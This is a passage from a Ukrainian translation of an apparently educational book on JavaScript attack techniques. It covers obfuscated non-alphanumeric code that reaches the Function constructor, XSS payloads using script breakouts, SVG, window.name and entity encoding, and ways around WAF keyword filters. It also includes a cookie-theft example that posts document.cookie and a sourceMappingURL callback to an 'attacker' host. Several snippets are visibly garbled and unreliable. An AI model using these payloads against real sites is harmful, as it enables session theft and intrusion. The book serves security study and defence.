до конструктора функцій, ви можете викликати його для генерування довільного JavaScript, але давайте поки що не будемо про це турбуватися. Перший крок — отримати функцію, і досить зручно, що є коротка функція, до якої ми вже можемо отримати доступ за допомогою символів, які ми згенерували. Функція at дозволяє отримати один символ рядка або елемент масиву залежно від того, який об'єкт ви використовуєте. Ми будемо використовувати це, оскільки очевидно, що це короткий шлях. Отже, спочатку нам потрібен порожній масив:

```
[]
```

Тоді ми додаємо аксесор:

```
[] [   ]
```

Тоді ми додаємо рядок "a" і конкатенуємо його з "t":

```
[] [   [   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ] /*a*   +   [!![]+[]][+[]][+[]]  \
/*t*/    ]//at function
```

Як тільки ми отримуємо доступ до функції, ми отримуємо можливість генерувати набагато більше символів. Це тому, що функцію можна перетворити на рядок:

```
[].at+''//function at() { [native code] }
```

Якщо ми подивимося на символи, які ми створили раніше, то залишилися тільки символи "o", "c" і "n". Ми можемо згенерувати "n" за допомогою undefined, що ми зробимо наступним. Спочатку ми створюємо порожній масив і намагаємося отримати доступ до першого елемента, який є undefined:

```
[][+[]]//undefined
```

Тоді ми перетворюємо його на рядок і отримуємо другий символ, який знаходиться на позиції один:

```
[[][+[]]+[]][+[]][++[+[]][+[]]]//n
```

Тепер ми можемо згенерувати інші, щоб створити властивість конструктора. Щоб згенерувати відсутні символи, ми можемо повторно використати функцію at, перетворити її на рядок, згенерувати необхідні позиції та нарешті витягти їх.

Спочатку створіть порожній масив і отримайте доступ до першого елемента:

```
[][+[]]
```

Потім помістіть функцію всередину масиву і об'єднайте з порожнім масивом, щоб створити рядок:

```
[    [] [[!]+[]][+[]][++[+[]][+[]]]+ [!!]+[]][+[]][+[]] +[]     ][+[]]
```

Ми можемо повторно використовувати вищевказаний рядок для генерації "c":

```
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[+[]][+[]]][+[]]][+[]]//3
//both together produces c
```

Перший рядок вище генерує функцію at як рядок, другий рядок звертається до третьої позиції рядка, яка дає "c".

Ми повинні повторити той самий процес, але звернутися до 6-ї позиції рядка, щоб отримати "o":

```
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]//6
//both together produces o
```

Як і пазл, ми можемо скласти їх усі разом, щоб отримати доступ до constructor властивості:

```
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]]
//c

+

[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]]
//o

+

[[][+[]]+[]][+[]][++[+[]][+[]]]//n

+
```

```
16
17 [   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]    ]//s
18
19 +
20
21 [!![]+[]][+[]][+[]]//t
22
23 +
24
25 [   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
26
27 +
28
29 [   !![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//u
30
31 +
32
33 [[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
34 [++[++[++[+[]][+[]]][+[]]][+[]]]
35 //c
36
37 +
38
39 [!![]+[]][+[]][+[]]//t
40
41 +
42
43 [[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]]+[]][+[]]
44 [++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]]
45 //o
46
47 +
48
49 [   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
```

Я розділив кожну літеру вище та розмістив оператор конкатенації рядків у кожному розділі, щоб ви могли побачити, як це працює. Коли це зібрано разом, воно формує рядок “constructor”. Щоб отримати доступ до фактичної функції конструктора, нам потрібно скористатися функцією at(), до якої ми отримали доступ раніше в цьому розділі, не перетворюючи її на рядок:

```
[    [] [[!]+[]][+[]][++[+[]][+[]]+ [!!]+[]][+[]][+[]]      ][+[]
//at() function
[//added square brackets to form accessor for previous function

[[] [[!]+[]][+[]][++[+[]][+[]]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]+[[] [[!]+[]][+[]][++[+[]][+[]]+[!!]+[]][+[]][+[]\
]]+[]][+[]]
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[[][+[]]+[]][+[]][++[+[]\
][+[]]]+[   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]    ]+[!!]+[]][+[]
][+[]]+[   !!]+[]]   [+[]]    [   ++[+[]][+[]]    ]+[   !!]+[]]   [+[]]    [   ++[
++[+[]][+[]]][+[]]    ]+[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]]+[]][+[
]]
[++[++[++[+[]][+[]]][+[]]][+[]]+[!!]+[]][+[]][+[]]+[[] [[!]+[]][+[]][++[+[]][+[]]\
]+[!!]+[]][+[]][+[]]]+[]][+[]]
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[   !!]+[]]   [+[]]    \
[   ++[+[]][+[]]    ]

]//added square brackets to form accessor for previous function

//both together produce the Function constructor
```

Ми отримали доступ до конструктора Function, комбінуючи функцію at(), додаючи [] після неї, і всередині аксесора ми розмістили рядок “constructor”, який потім повертає конструктор Function. Тепер ми можемо виконувати довільний JavaScript, передаючи рядок конструктору Function і викликаючи його двічі.

Тепер нам просто потрібно згенерувати рядок для відправки конструктору Function. Ми збираємося викликати alert(1), як це традиційно робиться з XSS-навантаженнями. У нас вже є літери та цифра один:

```
[   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]//a
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]//l
[   ![]+[]]   [+[]]    [   ++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]    ]//e
[   !!]+[]]   [+[]]    [   ++[+[]][+[]]    ]//r
[!!]+[]][+[]][+[]]//t
++[+[]][+[]]//1
```

Ми просто повинні згенерувати відкриваючі та закриваючі дужки. Для цього ми можемо повторно використати код, де ми згенерували функцію at() і перетворили її на рядок, а потім звернулися до шостої позиції рядка:

```
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]//6
```

Нам просто потрібно збільшити шість, щоб отримати 11-у позицію:

```
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]//function at() { [nat\
ive code] } as a string
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]\
]][+[]]][+[]]][+[]]//11
//which produces (
```

І збільшіть вищезазначене на один:

```
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][\
+[]]][+[]]][+[]]][+[]]][+[]]//12
//which produces )
```

Нам просто потрібно розташувати ці частини у правильному порядку і передати їх раніше створеному конструктору функцій, і все готово. Не забудьте додати оператор конкатенації “+” до кожного рядка.

```
[    [] [[!]+[]][+[]][++[+[]][+[]]]+ [!!]+[]][+[]][+[]]      ][+[]]

[

[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]+[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]\
]]+[]][+[]]
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[[][+[]]+[]][++[+[]\
][+[]]]+[   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]    ]+[!!]+[]][+[]
][+[]]+[   !!]+[]]   [+[]]    [   ++[+[]][+[]]    ]+[   !!]+[]]   [+[]]    [   ++[
++[+[]][+[]]][+[]]    ]+[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]]+[]][+[
]]
[++[++[++[+[]][+[]]][+[]]][+[]]]+[!!]+[]][+[]][+[]]+[[] [[!]+[]][+[]][++[+[]][+[]]\
]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]]+[   !!]+[]]   [+[]]    \
[   ++[+[]][+[]]    ]

]
```

```
(
[   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]+//a
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]+//l
[   ![]+[]]   [+[]]    [   ++[++[++[+[]][+[]]][+[]]][+[]]][+[]]    ]+//e
[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]+//r
[!![]+[]][+[]][+[]]+//t
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]\
]][+[]]][+[]]][+[]]]+
//(

++[+[]][+[]]+//1
[[] [[![]+[]][+[]][++[+[]][+[]]]+[!![]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][\
+[]]][+[]]][+[]]][+[]]][+[]]//12
//)
)
```

Сподіваюся, ви слідкували за матеріалом і тепер можете створювати не-алфавітний JS! Ви можете зробити деякі оптимізації в коді вище, наприклад, [![]+[]][+[]] можна звести до (![]+[]), є багато місць у коді, які можна спростити. Як вправу, спробуйте спростити наведений вище код до найменшого можливого розміру, ви дізнаєтеся більше про JavaScript і незабаром будете писати не-алфавітний код так, ніби це звичайний код.

7.2: Не-алфавітний код без дужок

Тепер, коли ви впевнені у написанні не-алфавітного коду, ми можемо використати знання, отримані в попередніх розділах, щоб спробувати створити не-алфавітний код без дужок. Для цього завдання ми будемо використовувати обмежений набір символів, а саме:

```
[]`+!${}
```

Як ви вже знаєте, шаблонні рядки можуть виконувати JavaScript через заповнювачі, і їх можна використовувати для передачі аргументів функціям. Ми збираємося зловживати цим фактом, щоб створити деякий не-альфа код, який викликає конструктор Function з нашим рядком alert.

Ми можемо повторно використати код з попереднього розділу цього розділу, тому що нам потрібен доступ до конструктора Function для передачі йому коду.

Ми збираємося викликати цей конструктор Function за допомогою тегованого шаблонного рядка, що просто означає, що ми розмістимо “ після функції, а потім згенеруємо наш рядок для передачі йому. Ми будемо використовувати символ $ для надання аргументу конструктору Function, який ми не будемо використовувати, але який є необхідним, тому що ми не можемо контролювати перший аргумент, який передається функції. Щоб зрозуміти, що відбувається, спробуйте оцінити цей виклик функції, щоб побачити повернутий результат:

```
Function`$${"x"}$`
/*
function anonymous($,$
) {
x
}
*/
```

Як ми бачимо вище, функція викликається з двома $ один за одним, а третій аргумент використовується для генерації коду. Перший аргумент перетворюється з масиву на рядок, тому нам потрібно розмістити долари перед і після заповнювача. Якби ми не використовували ці долари, конструктор Function видав би виняток через недійсний JavaScript. Дуже зручно, що долар є дійсним ідентифікатором JavaScript і дозволений як ім’я параметра. Ми можемо повторно використати код з попереднього розділу глави, спочатку розмістимо код конструктора Function, потім долар, потім наш заповнювач, який генерує рядок alert, а потім ще один долар. Код завершується “ що викликає згенеровану функцію:

```
[][][!]+[][+[]][++[+[]][+[]]+ [!!]+[][+[]][+[]][+[]]][+[]][[] [[!]+[]][+[]][++[+[\
]][+[]]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[+[]][+[]]][+[]]][+[]]+[[] [[!]+[]][+[]][++[+[]][+[]]+[!!]+[]][+[]][+[]\
]]+[]][+[]]
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[[][+[]]+[]][+[]][++[+[]\
][+[]]+[!]+[]][+[]][   ++[++[++[+[]][+[]]][+[]]][+[]]+[!!]+[]][+[]][+[]]+[!!]+[
]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][++[++[+[]][+[]]][+[]]+[[][[!]+[]][+[]][++[+[]
][+[]]]+[!!]+[]][+[]][+[]][+[]]+[]][+[]][++[+[]][+[]]][+[]]+[!!]+[]][+[]]
[+[]]+[[][[!]+[]][+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]][+[]]+[]][+[]][++[++[++[++[+
+[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]+[!!]+[]][+[]][++[+[]][+[]]]

`$${[   ![]+[]]   [+[]]    [   ++[+[]][+[]]    ]+
[   ![]+[]]   [+[]]    [   ++[++[+[]][+[]]][+[]]    ]+
[   ![]+[]]   [+[]]    [   ++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]    ]+
[   !![]+[]]   [+[]]    [   ++[+[]][+[]]    ]+
[!!]+[]][+[]][+[]]+
[[] [[!]+[]][+[]][++[+[]][+[]]]+[!!]+[]][+[]][+[]][+[]]]+[]][+[]]
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]\
```

```
]][+[]][+[]][+[]]+
++[+[]][+[]]+
[[] [[!]+[]][+[]][++[+[]][+[]]+[!!]+[]][+[]][+[]]+[]][+[]]
[++[++[++[++[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]][\
+[]]][+[]]][+[]]][+[]]][+[]]]
}$` ``
```

7.3: Шестисимвольна стіна

Після багатьох спроб на форумі slackers з'ясувати, що можливо з неалфавітним кодом, ми всі дійшли висновку, що мінімальна межа для довільного виконання JavaScript становить шість символів. Це стало відомо як велика символічна стіна. Обмеження полягає в тому, що без ! ви не можете створювати булеві значення, а без + ви не можете конвертувати в цілі числа та конкатенувати рядки без використання більшої кількості символів. Найбільш вірогідний спосіб подолання цієї стіни - використовувати наступний набір символів +[1] і знайти спосіб генерації булевого значення. Вони важливі, тому що false містить "s", а true містить "r". Без цих символів ви не можете створити властивість конструктора і, відповідно, не можете створити потрібний рядок, щоб отримати доступ до нього.

7.4: Нескінченність і далі

Якщо ви збираєтеся спробувати подолати стіну, вам потрібно генерувати більше символів, тому що ви будете застрягати з "NaN" і "undefined". Ну, лише з +[] можна згенерувати Нескінченність! Давайте подивимося, як це зробити. Спочатку ми згенеруємо число один, як раніше, потім потрібно згенерувати рядок undefined і нам потрібна "e" з цього. Після цього ви просто конкатенуєте більше 1 до кінця, щоб утворити рядок "1e1111", що дає Нескінченність.

```
[[] [[!]+[]][+[]][++[+[]][+[]]+[!!]+[]][+[]][+[]]+[]][+[]]
//function at() { [native code] } as a string
[++[++[++[++[++[++[+[]][+[]]][+[]]][+[]]][+[]]][+[]]][+[]]//6
```

Спершу згенерувати 1:

```
++[+[]][+[]]//1
```

Потім генеруйте невизначений рядок:

1

```
[][+[]]+[]//undefined as string
```

Нам потрібно отримати доступ до “e” з undefined:

```
[[][+[]]+[]][+[]][++[++[++[+[]][+[]]+[]][+[]]][+[]]][+[]]//e
```

Об’єднайте їх усі разом, щоб утворити 1e1111:

```
[++[+[]][+[]]+[[][+[]]+[]][+[]][++[++[++[+[]][+[]]+[]][+[]]][+[]]]+[++[+[]][+[]]]+[+\
+[+[]][+[]]]+[++[+[]][+[]]]+[++[+[]][+[]]]
```

Нарешті, нам потрібно перетворити масив/рядок у число, використовуючи інфіксний оператор + і, нарешті, обгорнути його в масив і отримати доступ до нього як до рядка:

```
[[+[++[+[]][+[]]+[[][+[]]+[]][+[]][++[++[++[+[]][+[]]+[]][+[]]][+[]]]+[++[+[]][+[]]]\
+[++[+[]][+[]]]+[++[+[]][+[]]]+[++[+[]][+[]]]+[]][+[]]
//Infinity as a string
```

Ви можете побачити, наскільки це близько до порушення стіни, хоча відсутність булевих значень є критичною для доступу до конструктора. Ми можемо лише сподіватися, що браузери введуть нову функціональність або методи, які дозволять нам отримати доступ до необхідних символів. Наразі стіна символів, здається, складає шість.

7.5: Підсумок

У цьому розділі ми розглянули, як генерувати числа за допомогою неалфавітно-цифрового JavaScript, як використовувати ці числа для отримання рядків, комбінувати ці рядки для отримання додаткових символів шляхом доступу до властивостей та перетворення виходу в рядок. Потім я показав, як можна з’єднати їх разом для виконання довільного коду JavaScript. Після цього я продемонстрував, як генерувати неалфавітний код без використання дужок. Нарешті, я ознайомив вас з великою стіною символів і показав метод генерації Нескінченності, використовуючи лише +[].

8: Розділ восьмий - XSS

Цей розділ присвячений міжсайтовому скриптингу, або XSS, навіть незважаючи на те, що назва не має особливого сенсу. Ви можете мати збережений XSS, який знаходиться на тому ж сайті, а можете мати скриптинг з іншого походження, який не знаходиться на тому ж сайті, але назва закріпилася, і тепер усі знають, що це таке, на краще чи на гірше. У цьому розділі я розповім про деякі трюки XSS, які ви, можливо, не знаєте, і поєднаю техніки, вивчені в різних інших розділах, щоб створити деякі цікаві навантаження. Тож давайте перейдемо до цього...

8.1: Закриття скриптів

Перша техніка полягає у використанні закриваючого блоку скрипта всередині рядка JavaScript. Це досить добре відомо у спільноті XSS, але якщо ви розробник, можливо, ви раніше з цим не зустрічалися. Основна ідея полягає в тому, що у вас є деяке відображення всередині рядка JavaScript, і введена цитата правильно екранується, але менше і більше - ні. Щоб скористатися цією ситуацією, ви можете вставити закриваючий тег скрипта всередині рядка JS, і це закриє блок скрипта і викличе виключення JavaScript через незакритий рядок, після чого ви можете продовжити вставляти свій HTML і отримати XSS на цільовому додатку:

```
<script>
let foo = "</script><img/src/onerror=alert(1337)>";
</script>
```

Щоб виправити цю вразливість, можна екранувати символ косої риски за допомогою зворотної риски. Це запобігає закриттю скрипту, але це не найкраще виправлення, як ми побачимо пізніше. Краще виправлення полягає в юнікодному екрануванні символів менше та більше, що забезпечує не відображення HTML всередині рядка. Звісно, також потрібно екранувати або кодувати зворотні риски та лапки.

8.2: Коментарі всередині скриптів

Можна подумати, що виправлення попередньої вразливості шляхом екранування косої риски вирішує проблему, однак це не так. Якщо у вас є дві точки ін'єкції: одна всередині змінної JavaScript і інша всередині HTML атрибуту. Ви можете вставити відкриваючий HTML коментар і скрипт, що запобігає закриттю скрипту, і блок скрипту буде продовжуватися, поки не зустріне інший закриваючий тег скрипту. Наступний код демонструє це:

```
<script>
let foo = "<!--<script>";
</script>

<img title="</script><img/src/onerror=alert(1)>">
```

Що насправді відображається, це:

```
<script>
let foo = "<!--<script>";
</script>

<img title="</script><img src="" onerror="alert(1)">"&gt;
```

Як ви можете бачити з виводу, поєднання коментаря HTML і відкриття скрипту анулює існуючий закриваючий скрипт, і другий закриваючий скрипт використовується для закриття блоку скриптів, що потім виходить за межі атрибуту заголовка, спричиняючи відображення елемента зображення.

8.3: HTML-сутності всередині SVG-скриптів

Ви можете подумати, що якщо правильно виконати екранування, можна запобігти XSS всередині блоків скриптів. Однак, всередині SVG це інша історія. HTML-сутності відображаються всередині, оскільки SVG є форматом XML, і це означає, що коли сутності декодуються SVG, JavaScript отримує правильні неекрановані символи:

```
<svg>
<script>let foo = "&quot;-alert(1)///";</script>
</svg>
```

8.4: Скрипт без закриття скрипту

Ви могли думати, що завжди потрібен закритий скрипт при використанні блоку скрипту. Ви б помилялися, принаймні у Firefox. Якщо ви використовуєте SVG, ви можете мати самозакритий скрипт у Firefox:

```
<svg><script href=data:,alert(1) />
```

Вам потрібно використовувати атрибут href, тому що ви працюєте в SVG, а не в HTML, і атрибут src там не підтримується.

8.5: Корисне навантаження для імені вікна

Ще один поширений трюк у арсеналі XSS — це використання window.name для передачі корисного навантаження на інші домени або сторінки. Браузери намагаються запобігти цьому, видаляючи ім'я для навігацій між доменами на верхньому рівні, але цей прийом все ще добре працює з використанням iframes:

```
<iframe src=//target name=alert(1)></iframe>

<!--target-->
<script>eval(name)</script>
```

Ви навіть можете приховати cookies там і отримати їх, коли сторінка перейде на сторінку, яку ви контролюєте. Наприклад:

```
<script>name=document.cookie</script>
<a href="//attacker">test</a>

<!--Attacker controlled page-->
<script>fetch('/collect-cookie', {method:"post",body:name})</script>
```

8.6: Протокол, що призначається

Нещодавно я виявив, що можна використовувати властивість протоколу об'єкта location для приховування payload. Це покращення у порівнянні з payload у вікні, тому що не потрібна окрема сторінка. В JavaScript ви просто призначаєте "javascript" властивості протоколу, і оскільки URL розглядається як JavaScript, а частина http:// розглядається як коментар, ви можете використовувати новий рядок у хеші або рядку запиту для виконання довільного JS:

```
location.protocol='javascript'
```

```
foo.html#%0aalert(1337)
```

На жаль, браузери виправили цей чудовий трюк. Тепер він більше не працює. Спочатку Safari виправив його, перевіряючи наявність нових рядків, але вони забули про роздільники абзаців і рядків (які також діють як нові рядки в JavaScript). Деякий час наступне працювало в Safari:

```
location.protocol='javascript'
```

```
foo.html#%E2%80%A8%E2%80%A9alert(1)
```

У останній версії це виправлено. Можливо, ви можете знайти інший спосіб?

8.7: Мапи джерел для створення зворотних посилань

Мапи джерел — це крутий спосіб створити взаємодію DNS/HTTP, яку можна використовувати для ексфільтрації даних. Якщо у вас є ін'єкція всередині однорядкового коментаря, ви можете використовувати запит мапи джерел для ексфільтрації даних після коментаря. Однак є одна проблема — це вимагає, щоб у жертви були відкриті інструменти розробника. Але ви можете використати це на свою користь: якщо ви отримали зворотне посилання, ви можете бути впевнені, що у вашої жертви були відкриті інструменти розробника. Ось як це працює:

```
//# sourceMappingURL=https://attacker?
```

Коли цей коментар буде оцінено, буде надіслано запит на вихідну карту, це також працює у функції eval() та інших. Зверніть увагу, що вам доведеться використовувати OOB (Out-of-Band) інструмент, такий як Burp Collaborator або Interactsh. Це тому, що devtools не показує запит у вкладці мережі.

8.8: Новий механізм перенаправлення

Chrome запровадив новий спосіб викликати перенаправлення на стороні клієнта: navigation.navigate(). Використовуючи цей метод, можна вказати URL-адресу JavaScript, що означає, що ви також можете викликати довільний JavaScript. Для його використання просто викликайте метод navigate() з URL-адресою JavaScript або HTTP:

```
navigation.navigate('javascript:alert(1337)')
```

8.9: Коментарі в JavaScript

JavaScript підтримує цілий ряд синтаксису коментарів. Є декілька різних типів однорядкових коментарів:

```
#!
//
<!--
-->
```

Перший приклад працюватиме тільки якщо це перший оператор JavaScript, якщо він з'явиться деінде, буде викликана синтаксична помилка. Другий приклад — це стандартний спосіб створення однорядкового коментаря і він може з'явитися будь-де у виразі або операторі (за умови, що він не знаходиться всередині строки тощо). Далі, третій приклад поводиться так само, як і попередній коментар і був доданий на ранніх етапах розвитку вебу, коли скрипти не підтримувались усіма браузерами, але він до сих пір підтримується сьогодні.

Нарешті, закриваючий HTML-коментар дозволений у JavaScript і діє як однорядковий коментар, якщо використовується на початку, проте оскільки його можна потенційно використовувати як декремент і операцію більше, він не підтримується всередині виразу/оператора. Кожен однорядковий коментар активний до тих пір, поки не зустрінеться символ нового рядка; це означає повернення каретки, перехід на новий рядок, розділювач абзаців або розділювач рядків.

Наскільки мені відомо, JavaScript підтримує лише один тип багаторядкового коментаря з косою рискою і зірочкою:

```
/*
I'm a multiline comment
*/
```

8.10: Нові рядки

JavaScript підтримує декілька символів для розділення операторів. Це включає carriage return, line feed, line separator та paragraph separator. Це можна продемонструвати наступним чином:

```
eval('//\ralert(1337)');//carriage return
eval('//\nalert(1337)');//line feed
eval('//\u2028alert(1337)');//line separator
eval('//\u2029alert(1337)');//paragraph separator
```

Якщо у вас є ін'єкція в однорядковому коментарі, і WAF блокує новий рядок, варто спробувати альтернативні символи, згадані вище.

8.11: Пробіл

У JavaScript є багато символів пробілу, і їх використання може допомогти обійти прості WAF, які використовують регулярні вирази для пошуку певних ключових слів, як-от eval. Ось простий спосіб перевірити наявність пробілу (зверніть увагу, що це включатиме нові рядки, повернення каретки та роздільники рядків/абзаців):

```
log=[];
function funct(){}
    for(let i=0;i<=0x10ffff;i++){
        try{
            eval(`funct${String.fromCodePoint(i)}()`);
            log.push(i);
        }catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8\
232,8233,8239,8287,12288,65279
```

Або можна використовувати необроблені символи, або можна їх кодувати у HTML, якщо вони з'являються в атрибутах SVG або HTML:

```
<img/src/onerror=alert&#65279;(1)>
```

8.12: Динамічні імпорти

Javascript дозволяє динамічно завантажувати модуль за допомогою import(). Це схоже на звичайну функцію, за винятком того, що дозволяє JavaScript-рушію обирати, чи це дійсно потрібно. Цей вираз, схожий на функцію, дозволяє вам вказувати URL-адреси для імпорту і досить корисно, що він дозволяє вказувати URL даних для виконання довільного JavaScript:

```
import('data:text/javascript,alert(1)')
```

8.13: Простір імен XHTML у XML

Якщо у вас є контроль над файлом XML з типом вмісту text/xml, все ще можливо виконувати JavaScript, якщо ви надасте простір імен XHTML.

```
<xml>
    <text>hello<img src="1" onerror="alert(1)"  /></text>
</xml>
```

Без простору імен браузер буде обробляти наведений вище код як XML і покаже його у вигляді XML. Однак, додавання простору імен до елемента img дозволить йому бути відображеним як XHTML:

```
<xml>
    <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" \
/></text>
</xml>
```

Це може бути корисним для завантаження файлів або коли ви маєте контроль над відповіддю REST API, яка обслуговується з типом вмісту XML.

8.14: Завантаження SVG

Зазвичай дозволяється завантаження зображень на веб-додаток, але багато хто забуває, що ви можете використовувати скрипт всередині завантажених документів SVG. На відміну від SVG всередині HTML, розбір суворіший при використанні SVG з правильним типом mime. Це означає, що вам потрібно переконатися, що доданий правильний атрибут простору імен і він повинен відповідати правилам розбору XML, наприклад, всі атрибути повинні бути взяті в лапки.

```
<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/x\
link' width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>
```

Ви можете запобігти експлуатації цієї проблеми, очевидно, фільтруючи SVG, але якщо ви не можете цього зробити, то завжди можете подати файл з заголовком Content-Disposition і значенням attachment:

Content-Disposition: attachment

Це повинно запобігти відображенню SVG у сучасному браузері. Однак є одна застереження: якщо він вбудований за допомогою елемента <use>, він все одно буде відображатися.

8.15: Використання елементів SVG

Як зазначено вище, ви можете виконати JavaScript, вбудовуючи SVG-документ за допомогою елемента <use> всередині SVG. Це працює за умови, що документ знаходиться на тому ж домені. Ви також можете використовувати data URLs, і я продемонструю це нижче:

```
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg'\
&gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```

Зверніть увагу, що оскільки URL-даних використовує дійсний MIME-тип SVG, застосовуються суворіші правила. Також варто зазначити, що навіть якщо це URL-даних, він не буде виконуватися з нульового походження, а успадкує походження від сторінки.

Мені не хочеться це казати, але це більше не працює в сучасному браузері. URL-даних з use елементами тепер обмежені. Думаю, виробники браузерів повинні читати цю книгу =).

8.16: HTML-символи

HTML має широкий спектр варіантів кодування. У цьому розділі я розгляну різні способи кодування символів за допомогою символів та завершити кожен розділ кількома прикладами.

8.16.1: Десяткові символи

Ви можете використовувати коди символів для представлення різних символів, вони мають префікс &# і закінчуються необов'язковою крапкою з комою. Наприклад, символ "j" представлений як код символу 106. Тож, щоб створити цей символ, ми просто повинні поєднати префікс з кодом, після чого може слідувати необов'язкова крапка з комою. Ви також можете використовувати стільки нулів, скільки забажаєте перед кодом символу:

```
<a href="&#106;avascript:alert(1337)">test1</a>
<a href="&#106avascript:alert(1337)">test2</a>
<a href="&#00000000106avascript:alert(1337)">test3</a>
```

Перетворення в цей формат дуже просте: вам потрібно лише пройтися по символах і перетворити символ на код символу за допомогою codePointAt():

```
'j'.codePointAt(0)
```

8.16.2: Шістнадцяткові сутності

Існує багато схожостей між шістнадцятковими сутностями та десятковими, але є трохи інший префікс. Використовуйте &#x як префікс і перетворюйте код символу на шістнадцятковий. Крапка з комою знову ж таки необов'язкова, але якщо існує існуючий символ, який є дійсним шістнадцятковим значенням, це призведе до іншого символу, тому потрібно переконатися, що наступний символ не є дійсним шістнадцятковим значенням:

```
<a href="&#x6a;avascript:alert(1337)">test1</a>
<a href="&#x6aavascript:alert(1337)">test2</a>
<a href="&#000000000x6a;avascript:alert(1337)">test3</a>
<a href="jav&#x61script:alert(1337)">test4</a>
```

У наведеному вище коді другий приклад не вдасться, оскільки “a” є дійсним hex і тому виробляє інший символ, ніж потрібний “j”. Останній приклад працює, оскільки “s” не є дійсним hex, тому сутність виробляє правильний символ. Щоб створити це кодування, вам просто потрібно знову отримати кодову точку, але перетворити її на hex ось так:

```
'j'.codePointAt(0).toString(16)
```

Варто зазначити, що коли у вас є шістнадцяткове значення з провідним нулем, ви можете його опустити, і воно все одно працюватиме:

```
<a href="java&#xascript:alert(1)">test</a>
```

8.16.3: Іменовані сутності

Як вам відомо, HTML також підтримує іменовані сутності; вони дозволяють представляти різні символи за допомогою певної назви. Найпоширенішими іменованими сутностями, ймовірно, є < та >. Для певних сутностей крапка з комою є необов’язковою, але вони будуть декодовані залежно від того, яким є наступний символ.

```
<a href="#" onclick="alert(title)" title="&ltimg/src/onerror=alert(1)&gt">test1</a>
